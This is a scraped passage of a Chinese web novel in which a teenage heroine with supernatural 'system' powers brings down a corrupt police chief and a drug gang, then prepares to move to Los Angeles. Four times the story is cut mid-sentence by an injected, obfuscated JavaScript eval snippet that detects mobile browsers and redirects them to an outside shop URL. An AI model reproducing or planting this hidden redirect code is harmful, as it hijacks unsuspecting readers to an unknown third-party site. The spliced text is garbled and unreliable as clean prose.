科尔停下脚步,慢慢转过身,脸上依旧挂着那副欠揍的笑容:“哦,莉莉丝宝贝,快把枪放下,跟我一起走,我分你一百万。” “是你!是你泄的密对不对?” 莉莉丝举着枪,一步步逼近他,眼里满是杀意,“你根本就没想和我们合作!你就是想让我们和毒蝎同归于尽,你好坐收渔利!” “饭可以乱吃,话不能乱讲。” 科尔摊了摊手,一脸无辜,“明明是你们自己蠢,做事留了尾巴,才让毒蝎找上门来。怎么,现在想赖到我头上?” “你个狗/娘/养的!收了我那么多好处,居然坑我?!我杀了你!” 混乱中,毒蝎也发现科尔打算拿着货跑路,怒火更盛,调转枪口就朝他射击。 科尔侧身躲过,也拔出腰间的配枪还击。 一时间,三方人马互相射击,场面愈发混乱。 科尔毕竟只有一个人,弹药很快就见底了。 刚换好新弹夹,一颗子弹就击中了他的胸口,他闷哼一声,捂着胸口直直倒在地上,手里的箱子滚到一边。 毒蝎和马克杀红了眼,根本顾不上倒地的科尔,带着剩下的人继续火并。 没过多久,双方的手下就死伤殆尽,只剩下毒蝎和马克两人。 两人都受了重伤,浑身是血,子弹没了,便索性扔掉枪,像两头野兽一样扭打在一起。 毒蝎一刀捅进了马克的肚子,而马克也用最后一丝力气,拧断了毒蝎的脖子。 随即双双倒地,很快便没有动静。 整个厂房瞬间安静下来,只剩下浓重的血腥和硝烟味。 过了几分钟,躺在地上的莉莉丝突然动了动。 她没死。 刚才的混战中,她的肩膀中了枪,便躺在地上装死,躲过了后面的厮杀。 她挣扎着爬起来,吐掉嘴里的血沫,捡起地上的手提箱,得意地笑了起来:“一群蠢货,最后还不是便宜了老娘。” 然而,她正准备往外走,脚踝忽然被人一把抓住。 “救……救我……” 马克居然还没死透!他躺在地上,一只手攥着莉莉丝的脚踝,眼神涣散地看着她。 莉莉丝眼神一冷,毫不犹豫地抬手,对着马克的眉心就是一枪。 “砰。” 马克的身体猛地一颤,彻底没了气息。 莉莉丝松了口气,擦了擦脸上的血污,提着箱子快步走向门口。 可就在她一只脚踏出门外的时候,身后骤然传来一声枪响。 “砰!” 一颗子弹精准地从她后背射入,穿透心脏。 莉莉丝难以置信地瞪大眼睛,身体缓缓向前倒去。临死前,她艰难地偏过头,看到那个本该已经死了的科尔,正慢慢从地上爬起来,手里还握着一把枪。 他拍了拍身上的灰尘,整理了一下歪掉的领带,动作优雅得像是刚参加完一场晚宴。 科尔走到她身边,弯腰捡起地上的箱子,轻轻拍了拍上面的灰尘。他低头看着奄奄一息的莉莉丝,嘴角勾起一抹冰冷的笑:“宝贝,跟我玩,你还嫩了点。” 他拉开外套,从衬衣上口袋里取出一枚金属徽章,在手里晃了晃,一枚子弹头嵌在里面。 莉莉丝张了张嘴,想说什么,却只吐出一口鲜血,彻底没了呼吸。 通风管道里,菲伊目睹了全程,手里的DV还在兢兢业业地工作着。 她张着嘴,半天说不出一句话。 额滴个乖乖! 这反转反转再反转的…… 我刚才看的哪里是黑/帮火并,分明是奥斯卡影帝影后的飙戏片场啊! 没想到笑到最后的,竟然是孤身闯入黑/帮巢穴的科尔。 菲伊咽了口唾沫,看着底下提着箱子准备离开的科尔,默默按下了DV的停止键。 行吧,这下证据更足了。 不仅有密谋录音、交易视频,还有杀人越货现场直播。 人证物证俱在,科尔局长,您就等着牢底坐穿吧! 菲伊把DV塞进背包,正准备顺着通风管道原路撤离,门外突然传来“哐啷”一声——像是有人不小心踢到什么。 已经走到门口的科尔脚步猛地顿住。 “谁在那里?!” 他迅速扭头,手里的枪直指门外,没有任何犹豫,“砰砰”就是两枪。 门外没有任何回应,只有慌乱的脚步声飞快远去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753436|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 科尔眼神一沉,骂了句“该死”,提着箱子快步追了出去。 菲伊心里“咯噔”一下。 糟了! 躲在外面的人不会是那个记者吧? 她不敢耽搁,立刻让系统启动还剩9分多钟的壁虎肌肉爆发力。 来时爬了将近10分钟的管道,却只用了不到半分钟,菲伊就冲出通风口,然后借力、跳跃,稳稳落在厂房背后的荒地上。 菲伊快速扫了一圈四周,原本应该在这里等着的女记者果然不见踪影。 人呢? 难道刚才被科尔发现的真的是她?那她现在岂不是凶多吉少? “砰!” 远处再次传来一声枪响。 菲伊眼神一凛,不再犹豫,握紧匕首,循着枪声的方向快速奔去。 一边跑,她一边在心里问系统:【可以同时开启多种能力吗?】 系统:【可以。但存在风险,多钟能力并行,会对宿主的身体部分机能造成叠加负担。】 【壁虎肌肉爆发力和雷蒙刺杀能力同时开,会造成哪些负担?风险度多高?】 系统沉默两秒后,冰冷的机械音再次响起: 【两者并行会造成神经系统过载与肌肉纤维微撕裂,出现耳鸣、视物重影、动作迟缓、四肢无力等症状,持续超5分钟负担翻倍,综合风险等级中高(65%)。】 菲伊咬了咬牙。 65%的风险,着实不低。 但她不能就这么丢下女记者不管,先不说那是一条人命,今晚她能拍到关键证据,成功让蝎子帮内讧,至少一半的功劳要算在对方头上。 仅凭这一点,这人她救定了。 菲伊深吸一口气,眼神变得坚定。 【我决定了,两个能力同时开启。】 【好的。壁虎肌肉爆发力剩余时长08:45,雷蒙刺杀能力剩余02:12。两个能力并行,倒计时02:11。】 话音刚落,两股截然不同的力量同时在体内碰撞、叠加: 一股是快速充盈于四肢的壁虎肌肉爆发力;另一股是雷蒙刺杀能力,即刻接管了她的神经反射,让她变得更加锐利和敏捷。 然而,紧随其后就是一阵尖锐的耳鸣,脑子里像塞了个嗡嗡转的蜂箱,太阳穴突突直跳,眼前还晃了两下重影。 菲伊踉跄了两步,差点脸朝下摔在泥地里。 她弯下腰,双手撑着膝盖大口喘气,硬生生把那股眩晕感强压下去。 这副作用居然来的这么快! 她在心里骂了一句,然后身体前倾,摆出起跑的姿势。 深吸一口气,后脚脚尖用力蹬地,在壁虎肌肉爆发力的加持下,整个人就像炮弹一样弹射而出,一步窜出四五米远。几个呼吸之后,身影彻底消融在苍茫旷野之中。 26. 第26章 没过一会儿,菲伊循着声音来到一栋废弃的居民楼外。 这栋楼大概率发生过火灾,只剩光秃秃的钢筋水泥框架,里里外外被熏得黑黢黢的。 凭借特种兵的敏锐观察力,菲伊一眼就看到楼梯通道外墙上嵌入的弹头,以及地上那摊暗红色的新鲜血迹。 血迹沿着楼梯一路向上,空气中弥漫着一股若有似无的血腥味。 菲伊猫着腰,悄无声息地窜上楼梯。刚拐过二楼的转角,楼上便传来一声枪响,紧接着是女人惊恐的尖叫。 是那个女记者! 菲伊呼吸一紧,速度又快了三分。 冲到三楼走廊的瞬间,一眼就看见地上躺着个胸口中弹、已经失去生命体征的男人。 哟嚯,是格雷·休。 菲伊挑了挑眉,对格雷出现在这里并不觉得太意外。 因为这货就是她骗来的。 之前同女记者分头行动时,她特意交代了两件事:一是设法将毒蝎引来;二是给了女记者格雷的号码,让她冒充毒蝎的人,通知格雷来厂房这边办件事,事成之后,格雷欠的所有债一笔勾销。 菲伊原本只是试试,看看能不能把格雷骗来当炮灰。没想到这人来是来了,但没成为蝎子帮内讧的炮灰,而是被科尔灭了口。 无论如何,也算是殊途同归,替原主一家三口报仇了。 【倒计时01:25】 系统提示音响起,猛地拉回她的思绪。 女记者算是帮了她大忙,今天无论如何也要救下她。 菲伊一边贴着墙根往前,一边快速扫过两侧的房间。 当她拐进最里面的那间时,看到科尔正掐着女记者的脖子,把她死死摁在地上。女记者脸憋得像个熟透的番茄,手脚乱蹬,眼看就要翻白眼了。 “住手!” 菲伊低喝一声,握着匕首冲上去。科尔听到身后动静,立刻松手转身,胳膊一横挡住了菲伊的一击。 刀刃擦着他的胳膊划过,带起一道血痕。 “你他妈又是谁?!” 看到突然出现的陌生面孔,科尔的眉头瞬间拧起。 今晚什么情况,怎么一而再、再而三地有人冒出来! 外面那个男人,地上这个女人,还有眼前这个女孩,都是什么来路? FBI?记者?还是蝎子帮的漏网之鱼?这些人看到多少,又知道多少? 科尔脑中闪过无数问号。 不行!不管是谁,今晚都得把命留下来! 科尔眼里凶光毕现,怒吼一声就朝菲伊扑去。虽然手上没有武器,但他招式狠辣,拳拳奔着太阳穴、喉咙这些要害去,摆明了要下死手。 可他再能打,也架不住菲伊开了两个挂。 菲伊的动作快得只剩残影,匕首在手里转了个花,寒光一闪,就在他大腿上划了道深可见骨的口子。 “嘶——”科尔倒吸一口凉气,踉跄着后退两步,捂着流血的大腿,眼神阴得能滴出水来。 “你到底是什么人?”他喘着粗气,语气开始发慌,“要钱是不是?我给你!一百万!不,两百万!” 菲伊一句话都没说,脚步不停,手上的速度越来越快。 心里却忍不住翻了个大白眼:呵呵,两百万?糊弄谁呢,怕是有命拿没命花吧。 【倒计时:00:30。】 系统的提示音再次响起,菲伊心里一紧。 失算了!这雷蒙的刺杀能力招招都是奔着割喉捅心脏去的,她还得收着劲不能弄死他,因为这人活着比死了更有价值。 累死我了!这老登怎么这么耐打! 科尔见菲伊不为所动,又指着地上的手提箱喊道:“那箱货也给你。全是高纯度的货,至少值四百万!都给你!只要你放我走,我保证不会找你的麻烦。” 他一边喊,一边不动声色地往后退,心里飞快盘算着。 这人虽出手狠辣,但每一刀都避开了要害,明显不想杀他。 身手这么专业,招招都是特种兵的风格,搞不好真是FBI派来。那自己活着的价值可比死了大多了,她绝对不敢轻易弄死自己。 想到这里,科尔心里有了底。 他假装脚下一滑,踉跄着退到瘫坐在墙角的女记者身边,趁菲伊分神的瞬间,猛地扑过去,一把拽起女记者,右手精准扣住她的咽喉。 “别过来!” 科尔把女记者死死挡在自己身前,声音因为激动而发颤,“再往前一步,我就送她去见上帝!” 菲伊立马止住脚步,握着匕首的手紧了紧。 靠,大意了!这老登果然狡猾。 女记者梗着脖子,从牙缝里硬生生挤出几个字:“别管我……千万别让他跑了!” “你闭嘴!”科尔恶狠狠地瞪了她一眼,手上猛然加力,女记者脖颈上青筋暴出,呼吸开始困难起来。 “你别乱来。” 菲伊慢慢放下匕首,语气尽量平静,“放了她,我让你走。” “你当我傻?” 科尔冷笑一声,掐着女记者的脖子一步步往后退,“把匕首扔了!扔远点!” 菲伊咬咬牙,反手把匕首扔到走廊尽头。 科尔这才松了口气,拖着女记者退到了三楼楼梯口。他看着菲伊,脸上露出一抹得意的笑,重重地把女记者往前一推:“接好了!” 菲伊下意识伸手接住倒向她的女记者,等她再抬头时,科尔已经冲下了楼梯。 【倒计时:00:07】 系统冰冷的提示音在脑子里炸响。 只剩7秒了! 此时科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753437|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 尔已经到二楼,顺着楼梯往下追,根本来不及。 菲伊当机立断,一把扯下身上的背包甩给女记者,转身就冲进了旁边的房间。 “你干什么?!” 女记者抱着背包大喊。 菲伊没回头,几步冲到窗边,脚尖用力蹬在腐朽的木质窗沿上,纵身一跃,就跳了下去。 “你疯了!这是三楼啊!” 女记者尖叫着冲过去,菲伊已跃出窗外。 她吓得赶紧趴在窗沿往下看,心脏都快跳出来了。 就见木屑纷飞中,菲伊像一枚出膛的炮弹般向前窜出,借着蹬力划出一道低平的抛物线,身体在下坠的瞬间绷紧成流线型,双臂前伸护住头部,膝盖微屈成缓冲姿态。 几乎与此同时,科尔冲出楼道口,突然听到楼上传来尖叫,还没来得及抬头,头顶蓦地压下一团阴影。 “砰!” 菲伊用肩背精准撞向他后颈与肩胛骨的连接处——这是人体最脆弱的发力点,既能击溃行动力,又不会直接致命。 科尔被砸得结结实实,脸朝下狠狠摔在地上,连哼都没哼一声,四肢抽搐了两下,彻底不动了。 菲伊顺着冲击力向前滚翻半圈,手掌撑地卸去剩余的冲劲。 系统的声音同时响起:【双能力并行倒计时结束。】 两股力量同时抽离,一阵剧烈的晕眩感传来,菲伊眼前一黑,差点跟着一起晕过去。 “上帝啊!我的上帝!” 女记者连滚带爬地冲下楼,跑到菲伊身边,声音都在抖,“你没事吧?你有没有摔到哪里?你吓死我了!” 菲伊朝她咧嘴一笑,露出一口白牙:“没事,就是一些小擦伤。”然后扭头看向身后的科尔,“他呢?还有气没?” 女记者走过去,伸手探了探对方的鼻息,朝菲伊道:“放心,还活着。” 菲伊松了口气,刚想站起来,脚下一软,“噗通” 一声又坐回了地上。 “哎,你怎么了?” 女记者赶紧扶住她。 “没事没事。” 菲伊摆摆手,苦笑道,“就是……忽然没力气了。扶我一把。” 事实上,她何止是没力气。 肾上腺素一退,所有副作用一股脑地涌上来。耳朵里嗡嗡直响,眼前一阵阵发黑,头也疼得像要炸开,浑身的肌肉好似被无数根针扎一样疼。 女记者半扶半抱地把她拉起来,看着她满头的冷汗,不放心道:“真没事?要不我先打911叫救护车?” 菲伊缓了足足半分钟,才勉强挤出一句话:“……确实要叫。”她指了指地上晕死过去的科尔,“不过不是给我,而是……给他。” 她抹了一把额头上的汗,长长舒了一口气。 呼,总算结束了。 虽然过程有点曲折,但好歹……都搞定了。 27.第27章 两个星期后,休斯顿市中心某连锁汉堡店。 菲伊坐在靠窗的卡座,面前摆着一杯冰可乐。夕阳的余晖斜斜落在她的身上,给藏青色的短袖Polo衫镶上了一层暖边。 卡其色高腰工装短裤衬得双腿修长笔直,高马尾利落地束在脑后,露出光洁的额头和清晰的下颌线,整个人像颗刚剥开的青柠,清爽又有朝气。 门上的风铃叮当作响,一个留着深棕短发的职业女性风风火火冲了进来,身上背着个蹭的发亮的黑色双肩包。她进门扫了一圈没找到人,正准备掏出手提电话,就听见对面传来熟悉的声音。 “这里。” 短发女子愣了三秒,试探着走过去:“你是……?” 菲伊挑了挑眉,端起可乐抿了一口:“听不出来了?上次把你塞斗柜里,还借了你一只袜子堵嘴的那个。” “耶稣上帝!”短发女子差点把手提电话甩出去,三步并作两步走到卡座前,“你居然长这样?!不对!你那晚是故意扮丑的?” 菲伊眨眨眼,“对啊,怕被仇家认出来嘛。” “仇家?”女子愣了两秒,才反应过来,“啊!你是说那个蝎子帮的女人?” 菲伊耸耸肩:“算是吧。” 然后起身,笑着伸出手,“正式认识一下,我是菲伊·温斯洛。” “丽贝卡·罗德里格斯,《休斯顿纪事报》记者。”丽贝卡握住她的手,还在啧啧称奇,“你这乔装术绝了,我跟你待了一晚上,愣是没看出来半点破绽。” “没办法,被蝎子帮盯着,不藏严实点早凉透了。”菲伊把菜单推过去,“随便点,我请客。” “那可不行。”丽贝卡拉开椅子一屁股坐下,断然拒绝,“你看着还没成年吧?我怎么能让你一个小孩请客。再说了,要不是你,我根本上不了独家头条,应该是我请你才对。” 菲伊见她态度坚决,也没再推拒。 两人点了两份双层牛肉堡和薯条,边吃边聊。 菲伊简单说了自己的事:从养父母被格雷出卖,到格雷伙同蝎子帮想要将她卖到墨西哥,再到她无意中发现了科尔可能与蝎子帮勾结,这才潜入科尔家中,寻找证据。 “Shit!”丽贝卡愤怒地拍了一下桌子,引得邻桌侧目,她赶紧压低声音,“格雷那个畜生!怪不得你要把他骗过去,换我我直接给他一枪!” 她看着菲伊,眼神里满是赞叹:“不过你是真厉害!一个晚上就把整个蝎子帮加黑警局长都端了,我干了三年记者,见过最牛的卧底都没你么猛。” 丽贝卡说着,从背包里掏出一份叠得方方正正的报纸推过来,头版头条赫然是《黑警局长勾结黑/帮,废弃厂房上演黑吃黑枪战》,撰稿人一栏写着她的名字。 “虽然关键证人都用了化名,有些细节也做了模糊处理,但科尔被抓的实锤一放出来,全市、不,整个得州都轰动了。我现在已转为调查记者,还涨了工资,有了自己的专栏!” 丽贝卡笑得合不拢嘴,露出两颗小虎牙,“说起来,这一半功劳都是你的。” 正说着,店里的电视突然切到了本地晚间新闻。 “现在插播重磅后续:今日上午,FBI公布了科尔·汉森案的最新调查进展。除此前指控的包庇贩毒、收受贿赂、滥用职权外,科尔·汉森还涉嫌多起谋杀。 目前,该案已牵出涉案黑警21名、政府人员14名,并成功捣毁一条从哥伦比亚经墨西哥通往美国南部的跨国贩毒通道,缴获可/卡/因120公斤、非法枪支67支……” 电视画面上,出现了科尔戴着手铐被押入警车的镜头,他头发花白,神情颓败,和之前那个意气风发的警察局局长判若两人。 “成了!”丽贝卡激动地一拍大腿,抓起桌上的啤酒罐,“这下完全锤死了,就算他请来再厉害的律师,也得把牢底坐穿!” “蝎子帮也彻底完蛋了,你再也不用东躲西藏了!”她把啤酒罐举起来,“这是个天大的好消息!值得我们干一杯!” 菲伊笑着举起可乐瓶和她碰了一下:“干杯。” 两人碰完杯,丽贝卡左右看了看,忽然凑过来,挤眉弄眼地压低声音道:“菲伊,咱们现在也算是过命的交情了吧?” “当然!” “那你老实交代——” 她拖长了调子,眼神里满是好奇,“你是不是还有别的身份?”” “别的身份?”菲伊微微一愣,“没有啊。我就是一普通高中生,还能有什么身份。” “不可能!”丽贝卡一脸“你别唬我”的表情,掰着手指头数,“普通高中生能唰唰两下就把科尔放倒?能‘咻’地一下就爬上12米高的水泥墙?能从三楼跳下去却毫发无伤?!” 不待菲伊反驳,她凑得更近,声音压得更低,一脸神秘兮兮:“说实话,你是不是超级英雄?晚上戴面具出去打击犯罪那种?还是FBI的少年特工?不对,FBI不能招未成年人……哦!我知道了!” 她猛地一拍大腿,“你是女巫!会东方巫术那种!上次喂壁虎就是在施法对不对?” 菲伊听得嘴角直抽,赶紧摆手:“什么乱七八糟的,我不是超人,不是特工,更不会巫术,你电影看多了!” 见丽贝卡仍是一副 “我不信,你继续编” 的表情,菲伊知道今天不给个说法,这姑娘能追着她问一个月。 只能硬着头皮胡扯道:“你知道的,我是从华国领养的,在被领养前……我跟着一个老师傅学过几年功夫,有些功夫底子,除此以外,真没什么特别的。” “华国功夫?”丽贝卡眼睛一下子亮了,“就是电影里那种能飞檐走壁、一掌打飞人的功夫?” “差不多吧。”菲伊顺水推舟,一本正经地胡说八道,“练得好的确实能飞檐走壁,我这还没出师呢,不然上次也不用借你的匕首爬墙了。你看我从三楼跳下来都没事,就是有点轻功的底子。” “哇!”丽贝卡听得一愣一愣的,满脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756182|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 崇拜,“太酷了!怪不得你那么厉害!原来电影里的华国功夫是真的!” 菲伊干笑两声,心里却在疯狂汗颜。 完了,牛皮吹大了。 看来真得找个地方好好学功夫了,不然下次再用系统能力被人看到,怎么圆过去? 而且总靠系统也不是长久之计,自力更生才是硬道理。 她默默在心里把“找武馆学功夫”提上了日程。 就在这时,电视上的新闻转到了财经板块。 “接下来是财经消息:今日,亚特兰大南方信托公司与平原资本正式签署收购协议,以8.9亿美元的价格全资收购休斯顿联合储蓄银行。这是今年得州金融界最大的一笔并购案。 据悉,收购完成后,休斯顿联合储蓄将进行全面重组,解决其长期存在的坏账问题。受此消息影响,休斯顿联合储蓄股价今日大涨1.5%,结束了连续一个月的下跌趋势。” 画面切到签约现场,一身午夜蓝高定西装的阿利斯泰尔正低头签字,金色的头发在灯光下泛着光泽,神情淡定从容。签完字,他抬起头,和对方握手,脸上露出一丝礼节性的微笑。 “哇,南方信托的老板也太年轻了吧!” 丽贝卡咬了一口汉堡,一脸感叹,“才二十多岁就掌管这么大的公司,8.9亿啊,眼睛都不眨一下。休斯顿联合储蓄烂了这么多年,也亏得他敢接盘了。有钱人的世界,真是难以想象。” 菲伊端起可乐喝了一口,冰凉的液体滑过喉咙,压下了心里快要溢出来的得意。 8.9亿。 比预算少了3.1亿。 说起来,这里面有她一份功劳呢。 她和阿利斯泰尔谈的这笔生意,只需等到10月份把投出去的钱收回来,就算圆满收官了。 菲伊表面不动声色,甚至还跟着点了点头,附和道:“确实挺厉害的。” 吃完晚饭,两人走出汉堡店,天色已经完全黑了。晚风带着初夏的凉意,吹走了白天的燥热。 “对了,蝎子帮的威胁没了,你接下来有什么打算?” 丽贝卡扭头看向菲伊,轻声问道。 菲伊想了想,抬头看着远方的夜空:“还没想好。当务之急,是先养活自己。” “你还有其他亲戚吗?” 菲伊摇头:“没有了。” “你一个人可不行。”丽贝卡皱起眉,“按照联邦法律,你才16岁,必须有监护人。” “我知道。”菲伊叹了口气,“儿童福利局的人找过我几次,也在帮我寻找适合的家庭,但你懂的,我都16岁了,这个年龄,愿意接收的家庭本来就少,靠谱的就更难找了。” “要不要我帮你问问?报社的渠道……” “不用。”菲伊笑着打断她,“我不着急,也能照顾好自己。” 丽贝卡拍了拍她的肩膀:“那行,有什么需要帮忙的,尽管开口,不要和我客气。” “嗯,一言为定。”菲伊笑着点头。 28.第28章 菲伊回到酒店房间,刚把外套脱下来,门铃就响了。 她心里咯噔一下,警惕地走到门边,透过猫眼一看,松了口气—— 是伊森。 她打开门,侧身让人进来:“请进。我刚在电视上看到新闻了,恭喜收购案圆满成功。” “那也是多亏了你,温斯洛小姐。” 伊森走进来,顺手带上了门,脸上露出难得的笑容,“没有你精准预判到战争爆发和股市震荡,这次收购绝对不可能这么顺利,更不可能压到8.9亿这个价格。 老板打了这么漂亮的一仗,以后董事会再也没人敢故意唱反调了。” “都这么熟了,还叫什么温斯洛小姐,太生分了。” 菲伊给他倒了杯冰水,笑着递过去,“直接叫我名字就好。” 伊森接过水杯,从善如流地点头:“好的,菲伊。” “对了,理查德·布鲁姆呢?他怎么处理?” “那老家伙见势不妙,昨晚就订了去巴拿马的机票,想卷钱跑路。” 伊森冷笑一声,“不过老板早就派人24小时盯着他,机场那边刚过安检就被扣下了。 他挪用公款、出卖公司机密、做假账的事,桩桩件件都跑不了,现已被带走调查。就是他留下了一堆烂摊子,老板连夜坐飞机回亚特兰大处理去了。” 菲伊微微一怔,“他已经走了?” “嗯,现在应该已经登机了。” 伊森看了眼腕表,对上菲伊疑惑的眼神,主动解释道,“我留下来,是有件事需要处理,和你有关。” “我?” 菲伊指了指自己,有些意外,“什么事?” “是关于你的监护人问题。” 伊森放下水杯,语气变得认真,“老板了解到你现在还没有法定监护人,很多事情都不方便。所以他特意帮你联系了一家非常合适的收养家庭。” 菲伊眼底闪过一丝诧异,她怎么也没想到,阿利斯泰尔居然会注意到这件事,还默默帮她安排好了。 “他联系是索尔夫妇,佩妮?索尔夫人和马丁?索尔先生。” 伊森继续说道,“索尔夫人以前是洛杉矶谢菲尔德高中的老师,目前已退休。老板当年跳级读高中时,就是她教的物理,对他特别照顾。这么多年一直有联系,每次去洛杉矶,老板都会去探望她。 索尔先生是一名退休律师,为人正派,从业三十多年从来没有过污点。他们有一个儿子,三十岁,早就搬出去住了,家里就老两口,人口非常简单。” “等等,洛杉矶?”菲伊眨了眨眼,有些困惑,“我一直以为布鲁姆先生是在亚特兰大念的中学。” “他小学的确是在亚特兰大。”伊森解释道,“老板的外祖父家在洛杉矶,自从母亲去世后,他就搬去洛杉矶陪老人生活了几年,直到上大学。” 菲伊:“啊,原来是这样……抱歉,我不是故意打探布鲁姆先生的隐私。” 伊森:“没事。这些都是公开信息,老板不会介意的。” 他顿了顿,接着说道,“老板上周亲自给索尔夫人打了电话,跟她说了你的情况。索尔夫人和索尔先生都非常乐意收养你,说随时欢迎你去洛杉矶。如果你同意的话,所有的收养手续都由我来办,一周之内就能搞定。” 菲伊轻轻抿了抿唇,心里五味杂陈。 监护人问题确实是她目前最大的心病。没有监护人签名,她别说开公司做投资了,就连租个房子、办个银行卡都费劲。 她之前一直在纠结,接下来是去纽约还是洛杉矶——一个有华尔街,一个有好莱坞,都是她积累资本的好地方。 可就是因为监护人的问题,迟迟做不了决定。 她和阿利斯泰尔虽然只合作了一个多月,但看得出来,这人看似冷漠、不近人情,实则比谁都靠谱。 他从不轻易许诺,可只要答应的事,一定会办得滴水不漏。 既然是他亲自出面联系的恩师,那索尔夫妇绝对是值得托付的人。 想到这里,菲伊抬起头,脸上露出释然的笑容:“我没问题。麻烦你帮我办手续吧,伊森。” “太好了。” 伊森明显松了口气,“那我明天就去准备材料。您收拾一下行李,下周三我们就飞洛杉矶。索尔夫妇已经把房间收拾好了,就等你过去。” 送走伊森,菲伊走到窗边,看着楼下灯火通明的夜景。 蝎子帮的追杀、格雷的恶意、温斯洛一家的债务、收购案例的步步为营……那些惊心动魄的日子,总算都过去了。 晚风轻轻吹过,带着晚夏的温柔。 她的下一站,是阳光明媚的洛杉矶。 那里有阳光,有海滩,还有无限的可能。 菲伊深吸一口气,嘴角扬起一抹期待的笑容。 新的生活,要开始了。 *** 同一时间,洛杉矶比弗利山庄。 一栋占地三英亩的地中海式别墅灯火通明。 宴会厅里的派对正酣,水晶杯碰撞出清脆的声响。穿着高定礼服的金发美女和西装革履的男人穿梭其间,觥筹交错。 角落里,几个刚凭一部青春片走红的演员正在和制片人谈笑风生。留着大胡子的导演举着酒杯,唾沫横飞地讲着下一部大制作的构思。 爵士乐手在台上吹着萨克斯,慵懒的旋律缠着香水和雪茄的气息,弥漫在醉人的晚风里。 与楼下的纸醉金迷截然不同,二楼尽头的书房里安静得能听见古董座钟的滴答声。厚重的胡桃木门隔绝了所有音乐和笑声,只留下令人窒息的压抑。 米奇·洛克坐在宽大的红木书桌后,身材矮壮结实,肩宽背厚,像一头蓄势待发的棕熊。 他穿着一身深蓝色细条纹祖特服,宽松的裤脚收在手工定制的黑色牛津鞋里,白色真丝衬衫的领口解开两颗扣子,露出脖子上粗如手指的金链子。 他有着一头浓密的黑发,棕色的眼睛深陷在眼窝里,粗黑的眉毛此刻正高高扬起——这是他暴怒前的征兆。 只见他猛地抬手,将桌上水晶烟灰缸狠狠砸向站在书桌前的男人。 “哐!” 烟灰缸结结实实地砸在男人的额头上,发出沉闷的响声。鲜血瞬间涌出来,顺着男人脸颊往下流,滴在昂贵的波斯羊毛地毯上,晕开一朵朵暗红色的花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758582|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。 米奇皱紧眉头,嫌恶地盯着那片血渍,仿佛那是什么肮脏的病毒。 他从西装内袋里掏出一块绣着“M.R.”的真丝手帕,反复擦拭着刚才碰过烟灰缸的手指,擦了一遍又一遍,直到指尖都泛红了才停下。 “你是说,我们经营了八年的南部运输线,就因为休斯顿那个该死的黑警被抓,全他妈暴露了?!”他咬牙切齿道,“整整两百公斤的货,还有三个秘密中转站,全没了?!” “是……是的,老板。”男人捂着流血的额头,低着头瑟瑟发抖,“FBI顺着那个警察的线往下查,昨天凌晨突袭了我们在布朗斯维尔的港口,所有货都被抄了,负责运输的二十三个兄弟也被抓了……我们损失了至少七千万美元。” “七千万?”米奇·洛克“唰”地从椅子上站起来,走到手下面前,居高临下地看着他,“我在乎的是那点钱吗?!” 瞥见地毯上的血,立刻厌恶地往后退了一步。 “这条线是我们和哥伦比亚联系的主要通道!现在断了,整个西海岸的货都会断供!那些等着拿货的帮派会怎么闹?那些收了我们钱的政客会怎么看我?!” 他转身走回书桌前,目光扫过桌面,落在那份摊开的《休斯顿纪事报》上。 正是两周前的头版,加粗的黑体标题写着《黑警局长勾结黑/帮,废弃厂房上演黑吃黑枪战》,撰稿人那一栏,印着一个陌生的名字:丽贝卡·罗德里格斯。 米奇指间夹着一根高希霸雪茄,猩红的烟头冒着袅袅青烟。他盯着那个名字看了三秒,面无表情地将滚烫的烟头狠狠按了上去。 纸张瞬间焦黑卷曲,发出刺鼻的糊味,很快就烧出一个黑洞,正好把“丽贝卡·罗德里格斯”几个字吞噬殆尽。 “仅凭一个小小的跑线记者。”米奇眼中露出噬人的光,“就能挖出这么多信息?可笑!” 他转过身,看着站在那里不敢动的手下:“立刻去查!给我查清楚这个丽贝卡?罗德里格斯的所有底细,她见过什么人,跟谁通过电话,她的家人、朋友、情人,一个都别放过!两周之内,必须把幕后之人给我找出来。” 